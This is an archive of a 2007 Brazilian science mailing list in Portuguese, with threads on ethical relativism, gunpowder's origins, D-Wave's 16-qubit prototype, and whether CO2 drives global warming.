Bertrand Russel. Para ele a ética é subjetiva e depende do grupo social que
vivemos.

Grande abraço,

Ricardo

----- Original Message -----
From: "Bruna Carolina Ribas" <brunacribas@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 13, 2007 7:00 PM
Subject: Re: [ciencialist] E ética de cada um...

Se é verdade que a ética é circustancial, e não há uma ética universal.

Pode ser desfavorável para a indústria anunciar a verdade sobre tudo que
vende,
para quê rótulos e por que não aceitar alimentos geneticamente modificados?

Por que ser contra a obtenção de produtos mais baratos vindos do trabalho
escravo?

Tudo é permitido, não existe uma ética universal também não deveríamos
viver
sobre leis, sobre obrigações tampouco praticando atos que contrariam a
nossa
natureza animal...

Segundo Peter Singer, "...é verdade que alguns tendem ao subjetivismo
excessivo, afirmando que uma moralidade é tão boa quanto outra qualquer;
mas, quando essas mesmas pessoas são pressionadas a dizer se acreditam que
a
moralidade de Hitler, ou a dos traficantes de escravos é tão boa quanto a
de
Albert Schweitzer ou a de Martin Luther King, reconhecem que, afinal,
acreditam que algumas moralidades são melhores que outras" (Libertação
Animal, p. 276).

Victor <jvoneto@uol.com.br> escreveu:
Ricardo,

Você fechou claramente o que tentei expor com exemplos, centrados em
circunstâncias igualmente claras. Moral, ética, religião, comportamento,
enfim, tudo é uma função geográfica!. Para mim,isto é de uma clareza,
sobre
o que não tenho dúvidas, o que me economiza o tempo de estar elaborando
perguntas e mais perguntas. Minha realidade é minha realidade. A de outros,
é a de outros. Que só depende do lugar e/ou das circunstâncias, como se tem
corretamente enfatizado. Imagina que eu, civilizado como penso que sou,
tivesse nascido em uma tribo brasileira, digamos, a Tupinambá. Numa guerra,
aprisionei uma linda guerreira. Ia comê-la, sim senhor! Aí, depois, viria
uma batata de perna, um... Se não fosse ela, seria eu. Bem, já almocei.

Sds,
Victor.

----- Original Message -----
From: Ricardo
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, February 13, 2007 2:53 PM
Subject: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re:
Carne: enfim o método )

Como todo o respeito (mesmo), não vejo nada profundo nestes questionamentos
(sem nenhum menosprezo).

Quero dizer, pelo código de conduta implícito na moral da cultura da nossa
sociedade, não há nada demais em comer um bife, ou escravizar um cavalo
para
usá-lo como transporte.

Em outras culturas é imoral matar uma vaca ou um mosquito. Em algumas é
moral comer um ser humano.

Vejo como meramente cultural, toda a questão da ética e da moral. Posso ser
criticado por alguns aqui, mas não concordo com a visão de alguns
filósofos
de uma ética universal, absoluta.

[]s
Ricardo

----- Original Message -----
From: "Chicao Valadares" <chicaovaladares@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, February 13, 2007 1:28 PM
Subject: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re:
Carne:
enfim o método )

> Victor, não sei se voce notou mas quase todas as
> situações apontadas são extremas. È bem diferente,
> talvez da sua quando está confortavelmente posicionado
> a mesa degustando um suculento bife, não acha???
>
>
> --- jvictor <jvoneto@uol.com.br> escreveu:
>
>> Chicão,
>>
>> ----- Original Message -----
>> From: Chicao Valadares
>> To: ciencialist@yahoogrupos.com.br
>> Sent: Monday, February 12, 2007 9:59 AM
>> Subject: Re: [ciencialist] As baratas, nossas
>> irmãzinhas!!! ( Era Re: Carne: enfim o método )
>>
>>
>> Victor:> Como carne, de preferência carne branca.
>> É verdade,
>> >inegável, que essa coisa de matar para comer, se
>> >pensar direitinho, pode mexer um pouco com nossa
>> ética >pessoal que, como a
>> >verdade pessoal, é um conceito relativo.
>>
>> Chicão: Existe moral universal??
>>
>> Victor>> Não me referí a moral. De qualquer
>> maneira, não existe uma moral universal. Ela é
>> igualmente relativa, depende só da geografia. É como
>> religião.
>>
>> Quanto à ética, como a discutida na thread
>> encabeçada por Bruna, um exemplo poderá esclarecer o
>> que penso a respeito da maleabilidade de conceitos
>> do tipo:
>>
>> 1)Você está perdido numa floresta, com seus
>> filhos. O frio é intenso, a tropa vai morrer de
>> frio, se não houver uma providência. De repente, um
>> belo e sedoso urso surge por trás de um monte. Pele
>> lisinha,lisinha. Que poderá aquecer e salvar os
>> filhos. De minha parte, eu não teria dúvidas:
>> apontaria meu canhão ponto 50 para a testa do tal, e
>> bum!. Retiraria sua pele e salvaria meus filhos.
>> Onde está a falta de ética ou moral, nesse caso.
>>
>> 2) Você está na floresta, mas não está perdido. Vê
>> o urso. E pensa: aquela pele deve valer um bom
>> dinheiro; além disso, agradaria minha gata. E bum!,
>> no urso.
>>
>> E agora, como fica a moral e a ética, se comparada
>> ao caso anterior? Em ambos os casos, um animal foi
>> morto e sua pele usada para duas finalidades!. Em
>> qual dos casos o autor do bum! deveria ser
>> condenado?
>>
>> 3) Você não tem frio, é verão,mas está perdido na
>> floresta e seus filhos morrendo de fome. Não há nem
>> uma folhinha comestível num raio de vários
>> kilometros. Aparece o tal urso, gordinho,
>> gordinho(digamos que sua carne possa ser ingerida,
>> nunca ouvi falar não, mas admitamos isso. Se quiser,
>> substitua o urso por uma vaca bonita, gordinha
>> também). Eu, mais uma vez, não teria dúvidas, bum.
>> Um foguerinha(ou não) salvaria minha tropa.
>>
>> Onde está a quebra de moral e ética aqui? Deveria
>> ser escafedido por isso, ou discriminado?
>>
>> Os dois conceitos, portanto, são relativos, e a
>> conceituação fica a depender de vários fatores.
>> Nenhum dos conceitos é absoluto, ou universal.
>>
>> Victor> Mas é o tal caso, assume-se que é uma
>> consequência
>> do > próprio processo de vida, de subsistência.
>> Está
>> >intimamente ligada à natureza das coisas. E são
>> > processos, apenas processos. Que têm relações
>> > causais, evidentemente.
>>
>> Chicão: Por que eu não posso matar pessoas para se
>> alimentar,
>> já que faz parte do processo de alimentação???
>>
>> Victor: Bem, acho que a pergunta ficou meio fora
>> do contexto em discussão. Mas posso comentar algo.
>> Matar propriamente, não. Mas há casos, em nossa
>> sociedade não canibal (assim mesmo o canibalismo tem
>> uma origem que aponta para um uso ritualístico, em
>> função, em geral, da geografia e das crenças
>> daquela sociedade; muito menos por necessidades
>> orgânicas, e muitas das vezes como um tributo ao
>> guerreiro morto, ou para comemorar algo,como uma
>> vitória, ou para mendigar beneíficios da divindade
>> da tribo), moderna, onde houve a necessidade de
>> ingerir carne humana, de amigos e colegas já mortos,
>> como única alternativa em defesa de suas vidas. Há
>> um caso famoso, de um avião que caiu nos Andes,
>> década de 60,acho. Aquelas pessoas faltaram com a
>> ética, alí? Ou com a moral? O que você faria? Acho
>> que agiram em defesa de da vida. Mesmo assim, até
>> onde sei, foram estigmatizados, os que lograram sair
>> daquele inferno gelado. Particularmente, não os
>> condeno por isso. Agiram dentro de um esquema para o
>> qual não havia saída. Aliás,havia uma única: o
>> suicídio. Aí você seria o prato do dia! Se correr o
>> bicho pega, se ficar, o bicho come.
>>
>> Particularmente, não sei o que faria. A ocasião é
>> que diria, se eu seria comido(epa, epa, no sentido
>> alimentar), se a ética e a moral falassem mais alto
>> ou se comeria(idem,idem) alguém; Já pensou numa
>> batata de perna de alguma gordinha bonita? Ôooh!
>>
>> A ocasião faz o bicho. Darwin até poderia dar uns
>> pitáculos também, estou certo, depois de achar que
>> as coisas são assim,na natureza.
>>
>> Sds,
>> Victor.
>>
>>
>> "O Binômio de Newton é tão belo como a Vênus de
>> Milo.
>> O que há é pouca gente para dar por isso... "
>> Fernando Pessoa - Poesias de Alvaro Campos
>>
>>
>>
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>> apagar as informações e notificar o remetente. O
>> uso impróprio será
>> tratado
>> conforme as normas da empresa e a legislação em
>> vigor. Agradecemos sua
>> colaboração.
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> O que há é pouca gente para dar por isso... "
> Fernando Pessoa - Poesias de Alvaro Campos
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SUBJECT: Re: E ética de cada um...
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 11:40

Oi Bruna e demais,

> Entendo, agora...
> Ricardo, significa que sua ética depende do lugar onde vc estiver.

Manuel: A diversidade dos sistemas morais é um fato antropológico.
Outro fato é que não há consenso acerca da natureza do Bem (o Bem,
como se sabe, é a categoria central da Ética). Existem muitas
hipóteses:

a)O Bem como Felicidade (Eudemonismo);
b)O Bem como Prazer (Hedonismo);
c)O Bem como "Boa Vontade" (Formalismo Kantiano);
d)O Bem como Útil (Utilitarismo)
...

Pode-se também perguntar: o Bem é o que é bom para Deus? Ou para a
vida em geral? Ou para a raça? Ou para o progresso da Espécie, isto
é, a Humanidade com "H" maiúsculo? Ou para o indivíduo?

Ademais, existem sistemas éticos aristocráticos, autoritários,
democráticos e liberais - e todos eles se assentam em autênticos
sentimentos humanos.

Abraços,
Manuel Bulcão



SUBJECT: Re: A utilidade de um Pêndulo
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 11:46

Olá Prof. Léo, li os conteúdos dos links sim e com a maior boa vontade;
tanto que fiquei com dúvida se a tal da ressonância estava envolvida na
transferência de energia. Em todo o caso agora com a sua explicação
arrebatadora, até o meu filho de 6 anos entendeu!

Valeu

PS. Quanto a tração pendular a ser aplicada no meu carro, estou
reconsiderando o projeto!

Tipoalgo




SUBJECT: [RN] COMPUTADOR QUÂNTICO COMERCIAL A CAMINHO?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 11:49

NATURE.COM, 15-02-2007

QUANTUM COMPUTING AT 16 QUBITS

Geoff Brumfiel

D-Wave Systems, uma empresa sediada na Colúmbia Britânica, Canadá,
inaugurou seu sistema no dia 13 de feveiro último no Museu de História
do Computador em Mountain View, Califórnia, EUA. Embora ainda seja um
protótipo, representantes da empresa dizem que o aparelho pode
executar três tarefas relativamente simples: procurar coincidências em
um banco de dados de proteínas, gerar mapa de cadeiras em uma recepção
de casamento e completar um jogo de sudoku.

O sistema ainda é centenas de vezes mais lento que os computadores
convencionais, mas, segundo o diretor de tecnologia e co-fundador da
D-Wave, Geordie Rose, um computador com mais qubits pode ser
desenvolvido com a tecnologia atual, o que permitiria desenvolver a
máquina em um aparelho mais competitivo.

O computador da D-Wave possui 16 qubits. Cada qubit é formado por uma
pequena rosquinha de corrente em um supercondutor. A corrente pode
circular tanto no sentido horário como no anti-horário e, deixado a
cabo do aparelho, ela circula nos dois sentidos simultaneamente -
produzindo dois 'valores' simultâneos.

O computador é programado para ajustar os valores iniciais das
rosquinhas e suas interações com outras rosquinhas. Deixa-se, então, o
aparelho funcionar e as respostas são lidas a partir dos estados
finais do sistema. Ao contrário de outros sistemas, os qubits não são
controlados individualmente durante a computação.

Mas para produzir máquinas maiores e confiáveis, a empresa precisará
controlar as interações entre os vários qubits de modo mais preciso,
diz Andrew Steane, um especialista em computação-quântica da
Universidade de Oxford, Reino Unido. Isso pode se mostrar difícil de
se obter devido às dificuldades nos sistemas de controle e ao 'ruído'
geral em toda a máquina. (t,e)

http://www.nature.com/news/2007/070212/full/070212-8.html
-----------------------------

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Fw: Professora de História
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/02/2007 12:18


>
>Olá meus assessores de temas gerais e arquibancadas ......
>

A história que eu conheço (que ví em um documentário da TV Escola), foi um
alquimista chinês que inventou a pólvora "sem querer", enquanto tentava
criar uma poção que desse a vida eterna. A poção teria explodido na cara
dele :-) Após isso, os chineses começaram a usá-la para fogos de artifício,
depois em bombas, lançadas de catapultas e canhões de bambú. Isso foi no
século IX. Lá pro século XIII os europeus conheceram a pólvora pelos Mongóis
quando o seu império atingiu a Europa. Os árabes seriam os primeiros a
fabricar armas portáteis, com cano de ferro, pois, até o momento, não se
conseguia produzir canos de ferro que aguentassem a explosão. Mas aí já era
no século XIV.

É o que diz neste documentário sobre as invenções chinesas. Pelo tema do
documentário, podemos crer que estariam "puxando a sardinha pros chineses",
mas este mostra registros escritos tanto chineses como europeus.

[]',s
Jeff.

>
>Tenho uma dúvida e, se possível, gostaria que você me ajudasse a resolver.
>Sou professora de história de uma escola técnica e, em uma de minhas aulas
>me foi questionado sobre a origem da pólvora. Muitos alunos acreditam que a
>descoberta da mesma é mérito dos chineses. No entanto, um professor que é
>doutor em história informou-me que sua origem está nos árabes.
>Por favor, se você tiver algum texto, artigo, site, qualquer informação a
>respeito desse assunto, se puder me indicar, me enviar, ficarei muito
>grata.
>



SUBJECT: Re: [ciencialist] Fw: Professora de História
FROM: "jvictor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/02/2007 12:57

Errata. Onde se escreve poltrona, leia-se o óbvio: pólvora.

Sds,
Victor.

----- Original Message -----
From: jvictor
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, February 15, 2007 10:16 AM
Subject: Re: [ciencialist] Fw: Professora de História


Léo,

Escreví "origens da poltrona" e "pólvora" no Google e ele exibiu uma carrada de páginas, cada uma com diversos sites sobre o assunto. Está certo que passei só uma vista rápida, mas só ví referências a origens chinesas, nada em relação aos árabes.Sugiro sugerir à Professora uma pesquisa no Google.

Sds,
Victor.

----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist
Sent: Thursday, February 15, 2007 9:46 AM
Subject: [ciencialist] Fw: Professora de História

Olá meus assessores de temas gerais e arquibancadas ......

quebrem essa!

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "leandrarmando" <leandrarmando@ig.com.br>
Para: <leobarretos@uol.com.br>
Enviada em: quarta-feira, 14 de fevereiro de 2007 21:30
Assunto: Professora de História

Investigação histórica

Tenho uma dúvida e, se possível, gostaria que você me ajudasse a resolver.
Sou professora de história de uma escola técnica e, em uma de minhas aulas
me foi questionado sobre a origem da pólvora. Muitos alunos acreditam que a
descoberta da mesma é mérito dos chineses. No entanto, um professor que é
doutor em história informou-me que sua origem está nos árabes.
Por favor, se você tiver algum texto, artigo, site, qualquer informação a
respeito desse assunto, se puder me indicar, me enviar, ficarei muito grata.

Desde então agradeço por sua atenção.

Um abraço

Professora Leandra Coutinho.

outro endereço de e-mail: leandracoutinho@hotmail.com

----------------------------------------------------------

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SUBJECT: Re: [ciencialist] Fluido anti-gravidade
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 13:09

eu quero acreditar... :p:p

http://www.youtube.com/watch?v=qnYKa2n47-4
http://www.youtube.com/watch?v=f2XQ97XHjVw&eurl=


--- Kentaro Mori <kentaro.mori@gmail.com> escreveu:

> Fluido anti-gravidade
> <http://www.ceticismoaberto.com/news/?p=851>
>
> <http://www.athousandandone.com/21/>
> Inodoro, incolor, insípido e não-tóxico, este
> fluido de propriedades
> fantásticas
> <http://pt.wikipedia.org/wiki/%C3%81gua> ainda
> permite que
> objetos pareçam desafiar a força da gravidade.
> via digg <http://digg.com/>
>
> Postado em Curiosidades
> <http://www.ceticismoaberto.com/news/?cat=7> | Por
> Mori | Comente! »
> <http://www.ceticismoaberto.com/news/?p=851#respond>
>
> *Posts relacionados:*
> - <$BlogItemSubject$>
> <http://www.ceticismoaberto.com/news/?p=140>Lifters
> == Ionocrafts
> Recentemente houve excita�...
> - <$BlogItemSubject$>
> <http://www.ceticismoaberto.com/news/?p=468> O
> que é isso? Um pássaro? Um avião? Bem, já ...
> - Anti-gravidade: ESA é a
> real?<http://www.ceticismoaberto.com/news/?p=716>Com
> o perdão do terrível trocadilho:...
> - Matéria escura existe
> <http://www.ceticismoaberto.com/news/?p=767>Vivemos
> em tempos revolucionários para a co...
> - <$BlogItemSubject$>
> <http://www.ceticismoaberto.com/news/?p=440>Renato
> Sabbatini no Jô
> Soares O neurologista Ren...
>
>
> [As partes desta mensagem que não continham texto
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>
>


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O que há é pouca gente para dar por isso... "
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SUBJECT: Re: [ciencialist] P/ Chicao - As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 14:00

Temos duas vertentes aqui:

1 - Mesmo A Carta dos Direitos Universais do Homem
(e toda sua intenção) é baseada em conceitos relativos
pois são os seus signatários que consideram universais
mas sempre há quem não concorde com os seus termos.
Tese defendida por Homero e Victor.


2 - A Carta dos Direitos Universais do Homem
é fruto do conhecimento secular amadurecido, com base
na experiencia humana de sofrimentos, imposições,
opressões seculares, injustiças e valores impostos.
Portanto tem uma base, racional, humanista secular.
Tese defendida por Romano.

Em 1, seus defensores expuseram os argumentos muito
claramente. Em 2, é necessário uma definição clara e
aplicável a todos os seres humanos do que é bem-estar.
Sendo assim, considero este debate encerrado
temporariamente para mim. Mas aviso a Homero e Victor
que devo por essa discussão em pauta novamente
tentando defender 2.

Abraços aos nobres colegas deste embate.



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SUBJECT: Re: [ciencialist] E ética de cada um...
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 14:03

eu acho que ele quis dizer : "Os incomodados que se
retirem."

--- Bruna Carolina Ribas <brunacribas@yahoo.com.br>
escreveu:

> Entendo, agora...
> Ricardo, significa que sua ética depende do lugar
> onde vc estiver.
>
>
>
> Ricardo <ricardos@infolink.com.br> escreveu:
> Olá Bruna,
>
> Não disse que vale tudo não. Existem normas sim. Só
> que as normas são de
> cada sociedade.
>
> E, neste caso, eu não concordo com o Peter Singer.
> Neste ponto, penso como o
> Bertrand Russel. Para ele a ética é subjetiva e
> depende do grupo social que
> vivemos.
>
> Grande abraço,
>
> Ricardo
>
> ----- Original Message -----
> From: "Bruna Carolina Ribas"
> <brunacribas@yahoo.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, February 13, 2007 7:00 PM
> Subject: Re: [ciencialist] E ética de cada um...
>
> Se é verdade que a ética é circustancial, e não há
> uma ética universal.
>
> Pode ser desfavorável para a indústria anunciar a
> verdade sobre tudo que
> vende,
> para quê rótulos e por que não aceitar alimentos
> geneticamente modificados?
>
> Por que ser contra a obtenção de produtos mais
> baratos vindos do trabalho
> escravo?
>
> Tudo é permitido, não existe uma ética universal
> também não deveríamos viver
> sobre leis, sobre obrigações tampouco praticando
> atos que contrariam a nossa
> natureza animal...
>
> Segundo Peter Singer, "...é verdade que alguns
> tendem ao subjetivismo
> excessivo, afirmando que uma moralidade é tão boa
> quanto outra qualquer;
> mas, quando essas mesmas pessoas são pressionadas a
> dizer se acreditam que a
> moralidade de Hitler, ou a dos traficantes de
> escravos é tão boa quanto a de
> Albert Schweitzer ou a de Martin Luther King,
> reconhecem que, afinal,
> acreditam que algumas moralidades são melhores que
> outras" (Libertação
> Animal, p. 276).
>
> Victor <jvoneto@uol.com.br> escreveu:
> Ricardo,
>
> Você fechou claramente o que tentei expor com
> exemplos, centrados em
> circunstâncias igualmente claras. Moral, ética,
> religião, comportamento,
> enfim, tudo é uma função geográfica!. Para
> mim,isto é de uma clareza, sobre
> o que não tenho dúvidas, o que me economiza o tempo
> de estar elaborando
> perguntas e mais perguntas. Minha realidade é minha
> realidade. A de outros,
> é a de outros. Que só depende do lugar e/ou das
> circunstâncias, como se tem
> corretamente enfatizado. Imagina que eu, civilizado
> como penso que sou,
> tivesse nascido em uma tribo brasileira, digamos, a
> Tupinambá. Numa guerra,
> aprisionei uma linda guerreira. Ia comê-la, sim
> senhor! Aí, depois, viria
> uma batata de perna, um... Se não fosse ela, seria
> eu. Bem, já almocei.
>
> Sds,
> Victor.
>
> ----- Original Message -----
> From: Ricardo
> To: ciencialist@yahoogrupos.com.br
> Sent: Tuesday, February 13, 2007 2:53 PM
> Subject: Re: [ciencialist] As baratas, nossas
> irmãzinhas!!! ( Era Re:
> Carne: enfim o método )
>
> Como todo o respeito (mesmo), não vejo nada
> profundo nestes questionamentos
> (sem nenhum menosprezo).
>
> Quero dizer, pelo código de conduta implícito na
> moral da cultura da nossa
> sociedade, não há nada demais em comer um bife,
> ou escravizar um cavalo
> para
> usá-lo como transporte.
>
> Em outras culturas é imoral matar uma vaca ou um
> mosquito. Em algumas é
> moral comer um ser humano.
>
> Vejo como meramente cultural, toda a questão da
> ética e da moral. Posso ser
> criticado por alguns aqui, mas não concordo com
> a visão de alguns
> filósofos
> de uma ética universal, absoluta.
>
> []s
> Ricardo
>
> ----- Original Message -----
> From: "Chicao Valadares"
> <chicaovaladares@yahoo.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, February 13, 2007 1:28 PM
> Subject: Re: [ciencialist] As baratas, nossas
> irmãzinhas!!! ( Era Re:
> Carne:
> enfim o método )
>
> > Victor, não sei se voce notou mas quase todas as
> > situações apontadas são extremas. È bem
> diferente,
> > talvez da sua quando está confortavelmente
> posicionado
> > a mesa degustando um suculento bife, não
> acha???
> >
> >
> > --- jvictor <jvoneto@uol.com.br> escreveu:
> >
> >> Chicão,
> >>
> >> ----- Original Message -----
> >> From: Chicao Valadares
> >> To: ciencialist@yahoogrupos.com.br
> >> Sent: Monday, February 12, 2007 9:59 AM
> >> Subject: Re: [ciencialist] As baratas, nossas
> >> irmãzinhas!!! ( Era Re: Carne: enfim o método
> )
> >>
> >>
> >> Victor:> Como carne, de preferência carne
> branca.
> >> É verdade,
> >> >inegável, que essa coisa de matar para
> comer, se
> >> >pensar direitinho, pode mexer um pouco com
> nossa
> >> ética >pessoal que, como a
> >> >verdade pessoal, é um conceito relativo.
> >>
> >> Chicão: Existe moral universal??
> >>
> >> Victor>> Não me referí a moral. De qualquer
> >> maneira, não existe uma moral universal. Ela
> é
> >> igualmente relativa, depende só da geografia.
> É como
> >> religião.
> >>
> >> Quanto à ética, como a discutida na thread
> >> encabeçada por Bruna, um exemplo poderá
> esclarecer o
> >> que penso a respeito da maleabilidade de
> conceitos
> >> do tipo:
> >>
> >> 1)Você está perdido numa floresta, com seus
> >> filhos. O frio é intenso, a tropa vai morrer
> de
> >> frio, se não houver uma providência. De
> repente, um
> >> belo e sedoso urso surge por trás de um
> monte. Pele
> >> lisinha,lisinha. Que poderá aquecer e salvar
> os
> >> filhos. De minha parte, eu não teria dúvidas:
> >> apontaria meu canhão ponto 50 para a testa do
> tal, e
> >> bum!. Retiraria sua pele e salvaria meus
> filhos.
> >> Onde está a falta de ética ou moral, nesse
> caso.
> >>
> >> 2) Você está na floresta, mas não está
> perdido. Vê
> >> o urso. E pensa: aquela pele deve valer um
> bom
>
=== message truncated ===


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
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SUBJECT: Fw: Feira de Ciencias
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 15/02/2007 14:12

Essa é para todos os assessores e não assessores.

Essas informações serão cruciais mesmo para mim!

aquele abraço,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Internacional 2 - SEAIN
Para: leobarretos@uol.com.br
Enviada em: segunda-feira, 12 de fevereiro de 2007 10:43
Assunto: Feira de Ciencias


Prezado Prof. Luiz Ferrado Neto,



Meu é Rogério e trabalho na, SEAIN, Secretaria de Assuntos Internacionais do Governo de Minas Gerais. A Secretaria é responsável pela área internacional do Estado de Minas. Nós estamos nesse momento tentando fazer um levantamento de feiras de ciências em toda América Latina. Tendo em vista seu envolvimento com feiras, gostaríamos de saber se Vsa. teria condições de nos informar sobre as feiras de ciências mais tradicionais do país. Informações acerca de locais e datas de realização nos seriam muito úteis. Desde já, grato pela sua atenção e cordialidade.



Atenciosamente,



Rogério Brandão

Subsecretaria de Assuntos Internacionais

Secretaria de Estado de Desenvolvimento Econômico

Governo de Minas Gerais

Tel./Fax: (31) 2129-9359

e-mail: internacional2@desenvolvimento.mg.gov.br







--------------------------------------------------------------------------------


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: O Ambientalista Crente
FROM: "Mauro" <bombaspr@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/02/2007 14:39

Olá Takata.

Entre outras coisas, o q levou os cientistas do IPCC a considerarem
como muito provável uma origem antropogênica do aquecimento global?
Além da ligação entre as concentrações atmosféricas dos gases-estufas,
a concentração desses gases estão ligadas ao início da revolução
industrial. Não é apenas o CO2 q aumenta, mas outros - o NOx, por
exemplo.

Mauro: No meio dessas outras coisas já existe prova de causalidade ou
se trata somente de correlações (mesmo que fortes correlações)?

Inté+
Mauro



SUBJECT: Re: O Ambientalista Crente
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 14:49

--- Em ciencialist@yahoogrupos.com.br, "Mauro" <bombaspr@...> escreveu
> Mauro: No meio dessas outras coisas já existe prova de causalidade ou
> se trata somente de correlações (mesmo que fortes correlações)?

Bem, queimar petroleo produz CO2. Pra algum lugar esse CO2 vai.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: O Ambientalista Crente
FROM: "Mauro" <bombaspr@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/02/2007 15:10

Olá Takata.

Bem, queimar petroleo produz CO2. Pra algum lugar esse CO2 vai.

Mauro: A quantidade de CO2 é suficiente para causar o aquecimento
global? Caso haja de fato um aquecimento global, o CO2 seria o *unico*
responsável?

Inté+
Mauro



SUBJECT: Re: [ciencialist] Re: Vestibucast :// Densidade
FROM: "Prof. Emiliano Chemello" <chemelloe@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 15:19

Romano,

Para ouvir o arquivo você precisa de um programa que
reconheça e reproduza o formato mp3.

Exemplo: windows media player, winamp, etc.

[]'s do Prof. Emiliano

--- romano_170 <romano_170@yahoo.com.br> escreveu:

> Não consegui ouvir
>
> Abs, Romano
>
> --- Em ciencialist@yahoogrupos.com.br, "Prof.
> Emiliano Chemello"
> <chemelloe@...> escreveu
> >
> > Caros amigos,
> >
> > O Vestibucast é um serviço de provimento de
> conteúdos digitais
> em áudio do jornal Folha de S.Paulo. É um podcast
> voltado
> exclusivamente para o vestibulando. Desta vez, o
> conceito abordado foi
> o da densidade.
> >
> > Densidade
> > <áudio>
>
http://bd.folha.uol.com.br/vestibucast/audio/vest_qui_densidade.mp3
>
> > <texto>
>
http://www.quimica.net/emiliano/vestibucast/densidade.pdf
>
> >
> > Para ver e ouvir os demais textos, acesse:
> > http://www.quimica.net/emiliano/vestibular.html
> >
> > Aguardo vossos comentários,
> >
> > Um abraço do
> > Prof. Emiliano Chemello
> >
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SUBJECT: Re: O Ambientalista Crente
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 15:30

--- Em ciencialist@yahoogrupos.com.br, "Mauro" <bombaspr@...> escreveu
> Mauro: A quantidade de CO2 é suficiente para causar o aquecimento
> global?

Tto qto se sabe, sim:
http://adsabs.harvard.edu/abs/1985TellB..37..189K

> Caso haja de fato um aquecimento global, o CO2 seria o *unico*
> responsável?

Nao, nao eh o unico responsavel. O metano e o NOx tb, alem de CFC e
outros. Curiosamente, todos sao gerados por poluicao antropogenica tb
em gdes qtdades. Curiosamente, a concentracao atmosferica de todos
aumentam mais ou menos na epoca da industrializacao.

[]s,

Roberto Takata



SUBJECT: Pólvora
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 15:36

Eu já considerava por certo como sendo obra dos chineses (e os árabes tendo
aperfeiçoado as armas de fogo de metal).

Abaixo segue uma das muitas citaçoes que dão os créditos aos chineses.

Aliás, provavelmente os primeiros azarados a descobrirem a pólvora podem ter
se arrependido de sua "genialidade".

Gil

=====================================
Pólvora

Durante a Dinastia Han, alquimistas taoístas, ao pesquisar um elixir da
imortalidade, produziram vários incêndios ao fazer testes com os
ingredientes enxofre e salitre (nitrato de potássio). Um desses alquimistas
depois escreveu um texto de alquimia, dhamado "O Livro da Ligação dos Três",
que alertava sobre a mistura de certas substâncias.

No Século 8, ao final da Dinastia Tang, foi descoberta uma fórmula para
fazer pólvora. Feita de uma combinação de salitre e enxofre com carvão, a
pólvora ou "huo yao" foi usada inicialmente para fazer fogos de artifício e
chamas para sinalização. Mais tarde, foram inventadas as granadas de mão
simples, atiradas sobre o inimigo por meio de catapultas.

Durante a Dinastia Song, a pólvora era usada em rifles e foguetes. O
exército Song também comprimia pólvora em canos de bambu, além de usá-la
como uma forma primitiva de sinalização. Em 1126 d.C., um oficial local
chamado Li Gang registrou a defesa da cidade de Kaifeng com o uso de
canhões, que causaram um grande número de vítimas em uma tribo nômade de
saqueadores.

Muitas misturas antigas da pólvora chinesa continham substâncias tóxicas,
como compostos de mercúrio e arsênico, e podem ser consideradas como uma
forma primitiva de guerra química.
http://www.discoverybrasil.com/china_antiga/invencoes_tecnologias/polvora/index.shtml



Em 15/02/07, Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
>
> Olá meus assessores de temas gerais e arquibancadas ......
>
> quebrem essa!
>
> []'
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "leandrarmando" <leandrarmando@ig.com.br>
> Para: <leobarretos@uol.com.br>
> Enviada em: quarta-feira, 14 de fevereiro de 2007 21:30
> Assunto: Professora de História
>
>
> Investigação histórica
>
> Tenho uma dúvida e, se possível, gostaria que você me ajudasse a resolver.
> Sou professora de história de uma escola técnica e, em uma de minhas aulas
> me foi questionado sobre a origem da pólvora. Muitos alunos acreditam que
> a
